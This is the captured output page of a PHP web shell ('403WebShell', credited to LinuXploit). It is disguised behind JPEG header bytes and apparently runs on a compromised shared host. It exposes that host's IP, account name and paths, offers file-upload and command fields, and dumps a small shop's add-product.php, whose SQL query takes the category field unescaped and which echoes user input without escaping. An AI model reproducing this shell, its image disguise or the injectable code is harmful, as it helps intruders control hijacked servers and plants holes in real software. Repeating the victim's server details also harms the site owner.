����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 3.141.27.70
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/bm1holdings-ltd.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/bm1holdings-ltd.com/add-product.php
<?php
session_start();
include './header.php';
include './assets/php/connect.php';
include './assets/php/filterFile.php';
include './assets/php/compress-image.php';

if (!loggedin()) {
    header('location:./login');
}
?>

<div class="breadcrumbs">
    <div class="container">
        <div class="row">
            <div class="col-12">
                <div class="bread-inner">
                    <ul class="bread-list">
                        <li><a href="home">Home<i class="ti-arrow-right"></i></a></li>
                        <li class="active"><a href="add-product">Add Product</a></li>
                    </ul>
                </div>
            </div>
        </div>
    </div>
</div>
<?php
if (isset($_POST['submit'])) {
    $image_name = strtolower($_FILES['image']['name']);
    $image_type = $_FILES['image']['type'];
    $image_size = $_FILES['image']['size'];
    $image_tmp_name = $_FILES['image']['tmp_name'];

    switch ($image_type) {
        case 'image/png':
            $extension = ".png";
            break;
        case 'image/jpg':
            $extension = ".jpg";
            break;
        case 'image/jpeg':
            $extension = ".jpg";
            break;
        case 'image/gif':
            $extension = ".gif";
        default:
            $extension = ".jpg";
    }

    $product = mysqli_real_escape_string($conn, $_POST['product']);
    $category = $_POST['category'];
    $price = mysqli_real_escape_string($conn, htmlentities($_POST['price']));
    $discount = mysqli_real_escape_string($conn, htmlentities($_POST['discount']));
    $description = mysqli_real_escape_string($conn, $_POST['description']);

    $_SESSION['product'] = $product;
    $_SESSION['category'] = $category;
    $_SESSION['price'] = $price;
    $_SESSION['discount'] = $discount;
    $_SESSION['description'] = $description;

    //new image name with its particular extension
    $image_new_name = filter_file($product . '-' . date('Ymd-His') . $extension);

    $path = './assets/products/';

    //checking if file to be uploaded is an image
    if ($image_type == 'image/JPG' || $image_type == 'image/jpeg' || $image_type == 'image/png' || $image_type == 'image/jpg' ||  $image_type == 'image/webp') {
        //checking if both audio and image are uploaded
        if (compressImage($image_tmp_name, $path . $image_new_name, 50)) {
            $sql = "INSERT INTO `products`(`image`,`product`,`category`,`price`,`discount`,`description`,`time`) VALUES('$image_new_name','$product','$category','$price','$discount','$description', " . strtotime(date("Y-m-d h:i:sa")) . ")";
            //checking if the query has run successfully
            if (mysqli_query($conn, $sql)) {
                unset($_SESSION['product'], $_SESSION['category'], $_SESSION['price'], $_SESSION['discount'], $_SESSION['description']);
?>
                <script type="text/javascript">
                    swal("SUCCESS", "<?php echo $product; ?> was successfully added to products", "success");
                </script>
            <?php
            } else {
                die(mysqli_error($conn));
            }
        } else {
            ?>
            <script type="text/javascript">
                swal("ERROR", "Failed to upload product", "error");
            </script>
        <?php
        }
    } else {
        ?>
        <script type="text/javascript">
            swal("ERROR", "<?php echo $image_new_name; ?> is not an image", "error");
        </script>
<?php
    }
}
?>
<section class="shop section">
    <div class="container">
        <div class="row">
            <div class="col-lg-3 mb-4">
                <div class="account-sidebar">
                    <div class="sidebar-list">
                        <a href="product-list?category=Phones"><i class="far fa-layer-group"></i> Products</a>
                        <a href="add-product" class="active"><i class="far fa-upload"></i> Add New Product</a>
                        <a href="logout"><i class="far fa-lock"></i> Logout</a>
                    </div>
                </div>
            </div>
            <div class="col-lg-9">
                <div class="account-content bg-white pt-0">
                    <h4 class="account-content-title"><i class="far fa-layer-group"></i> Add Product</h4>
                    <div class="edit-profile">
                        <form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>" method="POST" enctype="multipart/form-data">
                            <div class="row">
                                <div class="col-lg-6">
                                    <div class="mb-3">
                                        <label for="name" class="form-label">Product Name</label>
                                        <input type="text" name="product" class="form-control" id="name" value="<?php echo isset($_SESSION['product']) ? $_SESSION['product'] : '' ?>" required>
                                    </div>
                                </div>
                                <div class="col-lg-6">
                                    <div class="mb-3">
                                        <label for="category" class="form-label">Category</label>
                                        <select name="category" name="category" class="form-control" id="category" required>
                                            <?php if (isset($_SESSION['category'])) {
                                                echo "<option>" . $_SESSION['category'] . "</option>";
                                            } ?>
                                            <option value="">Select Category</option>
                                            <?php
                                            $query = "SELECT * FROM `categories` ORDER BY `sort` ASC";
                                            $run = mysqli_query($conn, $query) or die(mysqli_error($conn));
                                            while ($row = mysqli_fetch_array($run)) {
                                            ?>
                                                <option value="<?php echo $row['category']; ?>"><?php echo $row['category']; ?></option>
                                            <?php
                                            }
                                            ?>
                                        </select>
                                    </div>
                                </div>
                                <div class="col-lg-6">
                                    <div class="mb-3">
                                        <label for="price" class="form-label">Price</label>
                                        <input type="text" name="price" class="form-control" id="price" value="<?php echo isset($_SESSION['price']) ? $_SESSION['price'] : '' ?>" required>
                                    </div>
                                </div>
                                <div class="col-lg-6">
                                    <div class="mb-3">
                                        <label for="price" class="form-label">Discount Price</label>
                                        <input type="text" name="discount" class="form-control" id="price" value="<?php echo isset($_SESSION['discount']) ? $_SESSION['discount'] : '' ?>" required>
                                    </div>
                                </div>
                                <div class="col-lg-6">
                                    <div class="mb-3">
                                        <label for="thumnail" class="form-label">image</label>
                                        <input type="file" name="image" id="thumnail" accept="image/*" required>
                                    </div>
                                </div>
                                <div class="col-lg-12">
                                    <div class="mb-3">
                                        <label for="description" class="form-label">Description</label>
                                        <textarea class="form-control" name="description" id="description" rows="6" required><?php echo isset($_SESSION['description']) ? $_SESSION['description'] : '' ?></textarea>
                                    </div>
                                </div>
                            </div>
                            <button type="submit" name="submit" class="btn">Save Product</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>

<?php
include './footer.php';
include './scripts.php';
?>
<script>
    document.querySelector("title").innerText = "BM 1 HOLDINGS LTD - ADD PRODUCT";
    document.querySelectorAll(".menu-area ul li")[7].classList.add("active");
    document.querySelectorAll(".slicknav_nav li a")[78].style.color = "blue";
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit